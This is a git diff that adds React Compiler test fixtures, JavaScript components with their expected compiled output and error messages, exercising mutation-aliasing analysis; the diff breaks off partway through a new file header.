diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/error.reassignment-to-global.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/error.reassignment-to-global.expect.md
new file mode 100644
index 000000000000..01ff60852138
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/error.reassignment-to-global.expect.md
@@ -0,0 +1,46 @@
+
+## Input
+
+```javascript
+// @enableNewMutationAliasingModel
+function Component() {
+  // Cannot assign to globals
+  someUnknownGlobal = true;
+  moduleLocal = true;
+}
+
+```
+
+
+## Error
+
+```
+Found 2 errors:
+
+Error: Cannot reassign variables declared outside of the component/hook
+
+Variable `someUnknownGlobal` is declared outside of the component/hook. Reassigning this value during render is a form of side effect, which can cause unpredictable behavior depending on when the component happens to re-render. If this variable is used in rendering, use useState instead. Otherwise, consider updating it in an effect. (https://react.dev/reference/rules/components-and-hooks-must-be-pure#side-effects-must-run-outside-of-render).
+
+error.reassignment-to-global.ts:4:2
+  2 | function Component() {
+  3 |   // Cannot assign to globals
+> 4 |   someUnknownGlobal = true;
+    |   ^^^^^^^^^^^^^^^^^ `someUnknownGlobal` cannot be reassigned
+  5 |   moduleLocal = true;
+  6 | }
+  7 |
+
+Error: Cannot reassign variables declared outside of the component/hook
+
+Variable `moduleLocal` is declared outside of the component/hook. Reassigning this value during render is a form of side effect, which can cause unpredictable behavior depending on when the component happens to re-render. If this variable is used in rendering, use useState instead. Otherwise, consider updating it in an effect. (https://react.dev/reference/rules/components-and-hooks-must-be-pure#side-effects-must-run-outside-of-render).
+
+error.reassignment-to-global.ts:5:2
+  3 |   // Cannot assign to globals
+  4 |   someUnknownGlobal = true;
+> 5 |   moduleLocal = true;
+    |   ^^^^^^^^^^^ `moduleLocal` cannot be reassigned
+  6 | }
+  7 |
+```
+          
+      
\ No newline at end of file
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/error.reassignment-to-global.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/error.reassignment-to-global.js
similarity index 75%
rename from compiler/crates/react_hermes_parser/tests/fixtures/error.reassignment-to-global.js
rename to compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/error.reassignment-to-global.js
index d0509a3d52a1..41b706866bf7 100644
--- a/compiler/crates/react_hermes_parser/tests/fixtures/error.reassignment-to-global.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/error.reassignment-to-global.js
@@ -1,3 +1,4 @@
+// @enableNewMutationAliasingModel
 function Component() {
   // Cannot assign to globals
   someUnknownGlobal = true;
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/error.todo-repro-named-function-with-shadowed-local-same-name.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/error.todo-repro-named-function-with-shadowed-local-same-name.expect.md
new file mode 100644
index 000000000000..44f358caade0
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/error.todo-repro-named-function-with-shadowed-local-same-name.expect.md
@@ -0,0 +1,38 @@
+
+## Input
+
+```javascript
+// @enableNewMutationAliasingModel
+function Component(props) {
+  function hasErrors() {
+    let hasErrors = false;
+    if (props.items == null) {
+      hasErrors = true;
+    }
+    return hasErrors;
+  }
+  return hasErrors();
+}
+
+```
+
+
+## Error
+
+```
+Found 1 error:
+
+Invariant: [InferMutationAliasingEffects] Expected value kind to be initialized
+
+<unknown> hasErrors_0$15:TFunction.
+
+error.todo-repro-named-function-with-shadowed-local-same-name.ts:10:9
+   8 |     return hasErrors;
+   9 |   }
+> 10 |   return hasErrors();
+     |          ^^^^^^^^^ this is uninitialized
+  11 | }
+  12 |
+```
+          
+      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/error.todo-repro-named-function-with-shadowed-local-same-name.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/error.todo-repro-named-function-with-shadowed-local-same-name.js
new file mode 100644
index 000000000000..b58c0aea7daf
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/error.todo-repro-named-function-with-shadowed-local-same-name.js
@@ -0,0 +1,11 @@
+// @enableNewMutationAliasingModel
+function Component(props) {
+  function hasErrors() {
+    let hasErrors = false;
+    if (props.items == null) {
+      hasErrors = true;
+    }
+    return hasErrors;
+  }
+  return hasErrors();
+}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/iife-return-modified-later-phi.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/iife-return-modified-later-phi.expect.md
new file mode 100644
index 000000000000..22f967883b09
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/iife-return-modified-later-phi.expect.md
@@ -0,0 +1,58 @@
+
+## Input
+
+```javascript
+function Component(props) {
+  const items = (() => {
+    if (props.cond) {
+      return [];
+    } else {
+      return null;
+    }
+  })();
+  items?.push(props.a);
+  return items;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{a: {}}],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+function Component(props) {
+  const $ = _c(3);
+  let items;
+  if ($[0] !== props.a || $[1] !== props.cond) {
+    let t0;
+    if (props.cond) {
+      t0 = [];
+    } else {
+      t0 = null;
+    }
+    items = t0;
+
+    items?.push(props.a);
+    $[0] = props.a;
+    $[1] = props.cond;
+    $[2] = items;
+  } else {
+    items = $[2];
+  }
+  return items;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{ a: {} }],
+};
+
+```
+      
+### Eval output
+(kind: ok) null
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/iife-return-modified-later-phi.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/iife-return-modified-later-phi.js
new file mode 100644
index 000000000000..f4f953d294e6
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/iife-return-modified-later-phi.js
@@ -0,0 +1,16 @@
+function Component(props) {
+  const items = (() => {
+    if (props.cond) {
+      return [];
+    } else {
+      return null;
+    }
+  })();
+  items?.push(props.a);
+  return items;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{a: {}}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/mutate-through-boxing-unboxing-function-call-indirections-2.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/mutate-through-boxing-unboxing-function-call-indirections-2.expect.md
new file mode 100644
index 000000000000..b42bfb001eec
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/mutate-through-boxing-unboxing-function-call-indirections-2.expect.md
@@ -0,0 +1,66 @@
+
+## Input
+
+```javascript
+// @enableNewMutationAliasingModel
+import {Stringify} from 'shared-runtime';
+
+function Component({a, b}) {
+  const x = {a, b};
+  const f = () => {
+    const y = [x];
+    return y[0];
+  };
+  const x0 = f();
+  const z = [x0];
+  const x1 = z[0];
+  x1.key = 'value';
+  return <Stringify x={x} />;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{a: 0, b: 1}],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; // @enableNewMutationAliasingModel
+import { Stringify } from "shared-runtime";
+
+function Component(t0) {
+  const $ = _c(3);
+  const { a, b } = t0;
+  let t1;
+  if ($[0] !== a || $[1] !== b) {
+    const x = { a, b };
+    const f = () => {
+      const y = [x];
+      return y[0];
+    };
+    const x0 = f();
+    const z = [x0];
+    const x1 = z[0];
+    x1.key = "value";
+    t1 = <Stringify x={x} />;
+    $[0] = a;
+    $[1] = b;
+    $[2] = t1;
+  } else {
+    t1 = $[2];
+  }
+  return t1;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{ a: 0, b: 1 }],
+};
+
+```
+      
+### Eval output
+(kind: ok) <div>{"x":{"a":0,"b":1,"key":"value"}}</div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/mutate-through-boxing-unboxing-function-call-indirections-2.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/mutate-through-boxing-unboxing-function-call-indirections-2.js
new file mode 100644
index 000000000000..6a981e840891
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/mutate-through-boxing-unboxing-function-call-indirections-2.js
@@ -0,0 +1,20 @@
+// @enableNewMutationAliasingModel
+import {Stringify} from 'shared-runtime';
+
+function Component({a, b}) {
+  const x = {a, b};
+  const f = () => {
+    const y = [x];
+    return y[0];
+  };
+  const x0 = f();
+  const z = [x0];
+  const x1 = z[0];
+  x1.key = 'value';
+  return <Stringify x={x} />;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{a: 0, b: 1}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/mutate-through-boxing-unboxing-function-call-indirections.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/mutate-through-boxing-unboxing-function-call-indirections.expect.md
new file mode 100644
index 000000000000..4dcb9110ab05
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/mutate-through-boxing-unboxing-function-call-indirections.expect.md
@@ -0,0 +1,66 @@
+
+## Input
+
+```javascript
+// @enableNewMutationAliasingModel
+import {Stringify} from 'shared-runtime';
+
+function Component({a, b}) {
+  const x = {a, b};
+  const y = [x];
+  const f = () => {
+    const x0 = y[0];
+    return [x0];
+  };
+  const z = f();
+  const x1 = z[0];
+  x1.key = 'value';
+  return <Stringify x={x} />;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{a: 0, b: 1}],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; // @enableNewMutationAliasingModel
+import { Stringify } from "shared-runtime";
+
+function Component(t0) {
+  const $ = _c(3);
+  const { a, b } = t0;
+  let t1;
+  if ($[0] !== a || $[1] !== b) {
+    const x = { a, b };
+    const y = [x];
+    const f = () => {
+      const x0 = y[0];
+      return [x0];
+    };
+    const z = f();
+    const x1 = z[0];
+    x1.key = "value";
+    t1 = <Stringify x={x} />;
+    $[0] = a;
+    $[1] = b;
+    $[2] = t1;
+  } else {
+    t1 = $[2];
+  }
+  return t1;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{ a: 0, b: 1 }],
+};
+
+```
+      
+### Eval output
+(kind: ok) <div>{"x":{"a":0,"b":1,"key":"value"}}</div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/mutate-through-boxing-unboxing-function-call-indirections.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/mutate-through-boxing-unboxing-function-call-indirections.js
new file mode 100644
index 000000000000..aecd27a09309
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/mutate-through-boxing-unboxing-function-call-indirections.js
@@ -0,0 +1,20 @@
+// @enableNewMutationAliasingModel
+import {Stringify} from 'shared-runtime';
+
+function Component({a, b}) {
+  const x = {a, b};
+  const y = [x];
+  const f = () => {
+    const x0 = y[0];
+    return [x0];
+  };
+  const z = f();
+  const x1 = z[0];
+  x1.key = 'value';
+  return <Stringify x={x} />;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{a: 0, b: 1}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/mutate-through-boxing-unboxing-indirections.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/mutate-through-boxing-unboxing-indirections.expect.md
new file mode 100644
index 000000000000..5f14dd1fe077
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/mutate-through-boxing-unboxing-indirections.expect.md
@@ -0,0 +1,60 @@
+
+## Input
+
+```javascript
+// @enableNewMutationAliasingModel
+import {Stringify} from 'shared-runtime';
+
+function Component({a, b}) {
+  const x = {a, b};
+  const y = [x];
+  const x0 = y[0];
+  const z = [x0];
+  const x1 = z[0];
+  x1.key = 'value';
+  return <Stringify x={x} />;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{a: 0, b: 1}],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; // @enableNewMutationAliasingModel
+import { Stringify } from "shared-runtime";
+
+function Component(t0) {
+  const $ = _c(3);
+  const { a, b } = t0;
+  let t1;
+  if ($[0] !== a || $[1] !== b) {
+    const x = { a, b };
+    const y = [x];
+    const x0 = y[0];
+    const z = [x0];
+    const x1 = z[0];
+    x1.key = "value";
+    t1 = <Stringify x={x} />;
+    $[0] = a;
+    $[1] = b;
+    $[2] = t1;
+  } else {
+    t1 = $[2];
+  }
+  return t1;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{ a: 0, b: 1 }],
+};
+
+```
+      
+### Eval output
+(kind: ok) <div>{"x":{"a":0,"b":1,"key":"value"}}</div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/mutate-through-boxing-unboxing-indirections.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/mutate-through-boxing-unboxing-indirections.js
new file mode 100644
index 000000000000..ba8808eedfe8
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/mutate-through-boxing-unboxing-indirections.js
@@ -0,0 +1,17 @@
+// @enableNewMutationAliasingModel
+import {Stringify} from 'shared-runtime';
+
+function Component({a, b}) {
+  const x = {a, b};
+  const y = [x];
+  const x0 = y[0];
+  const z = [x0];
+  const x1 = z[0];
+  x1.key = 'value';
+  return <Stringify x={x} />;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{a: 0, b: 1}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/mutate-through-identity-function-expression.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/mutate-through-identity-function-expression.expect.md
new file mode 100644
index 000000000000..e7b0fe8e75ee
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/mutate-through-identity-function-expression.expect.md
@@ -0,0 +1,94 @@
+
+## Input
+
+```javascript
+// @enablePreserveExistingMemoizationGuarantees:false @validateExhaustiveMemoizationDependencies:false
+import {useMemo} from 'react';
+import {identity, ValidateMemoization} from 'shared-runtime';
+
+function Component({a, b}) {
+  const x = useMemo(() => ({a}), [a, b]);
+  const f = () => {
+    return identity(x);
+  };
+  const x2 = f();
+  x2.b = b;
+
+  return <ValidateMemoization inputs={[a, b]} output={x} />;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{a: 0, b: 0}],
+  sequentialRenders: [
+    {a: 0, b: 0},
+    {a: 0, b: 1},
+    {a: 1, b: 1},
+    {a: 0, b: 0},
+  ],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; // @enablePreserveExistingMemoizationGuarantees:false @validateExhaustiveMemoizationDependencies:false
+import { useMemo } from "react";
+import { identity, ValidateMemoization } from "shared-runtime";
+
+function Component(t0) {
+  const $ = _c(9);
+  const { a, b } = t0;
+  let x;
+  if ($[0] !== a || $[1] !== b) {
+    x = { a };
+    const f = () => identity(x);
+
+    const x2 = f();
+    x2.b = b;
+    $[0] = a;
+    $[1] = b;
+    $[2] = x;
+  } else {
+    x = $[2];
+  }
+  let t1;
+  if ($[3] !== a || $[4] !== b) {
+    t1 = [a, b];
+    $[3] = a;
+    $[4] = b;
+    $[5] = t1;
+  } else {
+    t1 = $[5];
+  }
+  let t2;
+  if ($[6] !== t1 || $[7] !== x) {
+    t2 = <ValidateMemoization inputs={t1} output={x} />;
+    $[6] = t1;
+    $[7] = x;
+    $[8] = t2;
+  } else {
+    t2 = $[8];
+  }
+  return t2;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{ a: 0, b: 0 }],
+  sequentialRenders: [
+    { a: 0, b: 0 },
+    { a: 0, b: 1 },
+    { a: 1, b: 1 },
+    { a: 0, b: 0 },
+  ],
+};
+
+```
+      
+### Eval output
+(kind: ok) <div>{"inputs":[0,0],"output":{"a":0,"b":0}}</div>
+<div>{"inputs":[0,1],"output":{"a":0,"b":1}}</div>
+<div>{"inputs":[1,1],"output":{"a":1,"b":1}}</div>
+<div>{"inputs":[0,0],"output":{"a":0,"b":0}}</div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/mutate-through-identity-function-expression.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/mutate-through-identity-function-expression.js
new file mode 100644
index 000000000000..2ac414570d8d
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/mutate-through-identity-function-expression.js
@@ -0,0 +1,25 @@
+// @enablePreserveExistingMemoizationGuarantees:false @validateExhaustiveMemoizationDependencies:false
+import {useMemo} from 'react';
+import {identity, ValidateMemoization} from 'shared-runtime';
+
+function Component({a, b}) {
+  const x = useMemo(() => ({a}), [a, b]);
+  const f = () => {
+    return identity(x);
+  };
+  const x2 = f();
+  x2.b = b;
+
+  return <ValidateMemoization inputs={[a, b]} output={x} />;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{a: 0, b: 0}],
+  sequentialRenders: [
+    {a: 0, b: 0},
+    {a: 0, b: 1},
+    {a: 1, b: 1},
+    {a: 0, b: 0},
+  ],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/mutate-through-identity.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/mutate-through-identity.expect.md
new file mode 100644
index 000000000000..a392cb1137f9
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/mutate-through-identity.expect.md
@@ -0,0 +1,89 @@
+
+## Input
+
+```javascript
+// @enablePreserveExistingMemoizationGuarantees:false @validateExhaustiveMemoizationDependencies:false
+import {useMemo} from 'react';
+import {identity, ValidateMemoization} from 'shared-runtime';
+
+function Component({a, b}) {
+  const x = useMemo(() => ({a}), [a, b]);
+  const x2 = identity(x);
+  x2.b = b;
+
+  return <ValidateMemoization inputs={[a, b]} output={x} />;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{a: 0, b: 0}],
+  sequentialRenders: [
+    {a: 0, b: 0},
+    {a: 0, b: 1},
+    {a: 1, b: 1},
+    {a: 0, b: 0},
+  ],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; // @enablePreserveExistingMemoizationGuarantees:false @validateExhaustiveMemoizationDependencies:false
+import { useMemo } from "react";
+import { identity, ValidateMemoization } from "shared-runtime";
+
+function Component(t0) {
+  const $ = _c(9);
+  const { a, b } = t0;
+  let x;
+  if ($[0] !== a || $[1] !== b) {
+    x = { a };
+    const x2 = identity(x);
+    x2.b = b;
+    $[0] = a;
+    $[1] = b;
+    $[2] = x;
+  } else {
+    x = $[2];
+  }
+  let t1;
+  if ($[3] !== a || $[4] !== b) {
+    t1 = [a, b];
+    $[3] = a;
+    $[4] = b;
+    $[5] = t1;
+  } else {
+    t1 = $[5];
+  }
+  let t2;
+  if ($[6] !== t1 || $[7] !== x) {
+    t2 = <ValidateMemoization inputs={t1} output={x} />;
+    $[6] = t1;
+    $[7] = x;
+    $[8] = t2;
+  } else {
+    t2 = $[8];
+  }
+  return t2;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{ a: 0, b: 0 }],
+  sequentialRenders: [
+    { a: 0, b: 0 },
+    { a: 0, b: 1 },
+    { a: 1, b: 1 },
+    { a: 0, b: 0 },
+  ],
+};
+
+```
+      
+### Eval output
+(kind: ok) <div>{"inputs":[0,0],"output":{"a":0,"b":0}}</div>
+<div>{"inputs":[0,1],"output":{"a":0,"b":1}}</div>
+<div>{"inputs":[1,1],"output":{"a":1,"b":1}}</div>
+<div>{"inputs":[0,0],"output":{"a":0,"b":0}}</div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/mutate-through-identity.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/mutate-through-identity.js
new file mode 100644
index 000000000000..33ba3a106ff1
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/mutate-through-identity.js
@@ -0,0 +1,22 @@
+// @enablePreserveExistingMemoizationGuarantees:false @validateExhaustiveMemoizationDependencies:false
+import {useMemo} from 'react';
+import {identity, ValidateMemoization} from 'shared-runtime';
+
+function Component({a, b}) {
+  const x = useMemo(() => ({a}), [a, b]);
+  const x2 = identity(x);
+  x2.b = b;
+
+  return <ValidateMemoization inputs={[a, b]} output={x} />;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{a: 0, b: 0}],
+  sequentialRenders: [
+    {a: 0, b: 0},
+    {a: 0, b: 1},
+    {a: 1, b: 1},
+    {a: 0, b: 0},
+  ],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/mutate-through-propertyload.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/mutate-through-propertyload.expect.md
new file mode 100644
index 000000000000..34345951ed7f
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/mutate-through-propertyload.expect.md
@@ -0,0 +1,39 @@
+
+## Input
+
+```javascript
+// @enableNewMutationAliasingModel
+function Component({a, b}) {
+  const x = {};
+  const y = {x};
+  const z = y.x;
+  z.true = false;
+  return <div>{z}</div>;
+}
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; // @enableNewMutationAliasingModel
+function Component(t0) {
+  const $ = _c(1);
+  let t1;
+  if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
+    const x = {};
+    const y = { x };
+    const z = y.x;
+    z.true = false;
+    t1 = <div>{z}</div>;
+    $[0] = t1;
+  } else {
+    t1 = $[0];
+  }
+  return t1;
+}
+
+```
+      
+### Eval output
+(kind: exception) Fixture not implemented
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/mutate-through-propertyload.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/mutate-through-propertyload.js
new file mode 100644
index 000000000000..bff1ea4c3504
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/mutate-through-propertyload.js
@@ -0,0 +1,8 @@
+// @enableNewMutationAliasingModel
+function Component({a, b}) {
+  const x = {};
+  const y = {x};
+  const z = y.x;
+  z.true = false;
+  return <div>{z}</div>;
+}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/nullable-objects-assume-invoked-direct-call.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/nullable-objects-assume-invoked-direct-call.expect.md
new file mode 100644
index 000000000000..5033da8eac44
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/nullable-objects-assume-invoked-direct-call.expect.md
@@ -0,0 +1,75 @@
+
+## Input
+
+```javascript
+// @enableNewMutationAliasingModel
+import {useState} from 'react';
+import {useIdentity} from 'shared-runtime';
+
+function useMakeCallback({obj}: {obj: {value: number}}) {
+  const [state, setState] = useState(0);
+  const cb = () => {
+    if (obj.value !== state) setState(obj.value);
+  };
+  useIdentity();
+  cb();
+  return [cb];
+}
+export const FIXTURE_ENTRYPOINT = {
+  fn: useMakeCallback,
+  params: [{obj: {value: 1}}],
+  sequentialRenders: [{obj: {value: 1}}, {obj: {value: 2}}],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; // @enableNewMutationAliasingModel
+import { useState } from "react";
+import { useIdentity } from "shared-runtime";
+
+function useMakeCallback(t0) {
+  const $ = _c(5);
+  const { obj } = t0;
+  const [state, setState] = useState(0);
+  let t1;
+  if ($[0] !== obj.value || $[1] !== state) {
+    t1 = () => {
+      if (obj.value !== state) {
+        setState(obj.value);
+      }
+    };
+    $[0] = obj.value;
+    $[1] = state;
+    $[2] = t1;
+  } else {
+    t1 = $[2];
+  }
+  const cb = t1;
+
+  useIdentity();
+  cb();
+  let t2;
+  if ($[3] !== cb) {
+    t2 = [cb];
+    $[3] = cb;
+    $[4] = t2;
+  } else {
+    t2 = $[4];
+  }
+  return t2;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useMakeCallback,
+  params: [{ obj: { value: 1 } }],
+  sequentialRenders: [{ obj: { value: 1 } }, { obj: { value: 2 } }],
+};
+
+```
+      
+### Eval output
+(kind: ok) ["[[ function params=0 ]]"]
+["[[ function params=0 ]]"]
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/nullable-objects-assume-invoked-direct-call.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/nullable-objects-assume-invoked-direct-call.js
new file mode 100644
index 000000000000..1f2d69d93193
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/nullable-objects-assume-invoked-direct-call.js
@@ -0,0 +1,18 @@
+// @enableNewMutationAliasingModel
+import {useState} from 'react';
+import {useIdentity} from 'shared-runtime';
+
+function useMakeCallback({obj}: {obj: {value: number}}) {
+  const [state, setState] = useState(0);
+  const cb = () => {
+    if (obj.value !== state) setState(obj.value);
+  };
+  useIdentity();
+  cb();
+  return [cb];
+}
+export const FIXTURE_ENTRYPOINT = {
+  fn: useMakeCallback,
+  params: [{obj: {value: 1}}],
+  sequentialRenders: [{obj: {value: 1}}, {obj: {value: 2}}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/object-expression-computed-key-object-mutated-later.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/object-expression-computed-key-object-mutated-later.expect.md
new file mode 100644
index 000000000000..f9f881c72af5
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/object-expression-computed-key-object-mutated-later.expect.md
@@ -0,0 +1,53 @@
+
+## Input
+
+```javascript
+// @enableNewMutationAliasingModel
+import {identity, mutate} from 'shared-runtime';
+
+function Component(props) {
+  const key = {};
+  const context = {
+    [key]: identity([props.value]),
+  };
+  mutate(key);
+  return context;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{value: 42}],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; // @enableNewMutationAliasingModel
+import { identity, mutate } from "shared-runtime";
+
+function Component(props) {
+  const $ = _c(2);
+  let context;
+  if ($[0] !== props.value) {
+    const key = {};
+    context = { [key]: identity([props.value]) };
+    mutate(key);
+    $[0] = props.value;
+    $[1] = context;
+  } else {
+    context = $[1];
+  }
+  return context;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{ value: 42 }],
+};
+
+```
+      
+### Eval output
+(kind: ok) {"[object Object]":[42]}
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/object-expression-computed-key-object-mutated-later.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/object-expression-computed-key-object-mutated-later.js
new file mode 100644
index 000000000000..923733b9c238
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/object-expression-computed-key-object-mutated-later.js
@@ -0,0 +1,16 @@
+// @enableNewMutationAliasingModel
+import {identity, mutate} from 'shared-runtime';
+
+function Component(props) {
+  const key = {};
+  const context = {
+    [key]: identity([props.value]),
+  };
+  mutate(key);
+  return context;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{value: 42}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/object-expression-computed-member.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/object-expression-computed-member.expect.md
new file mode 100644
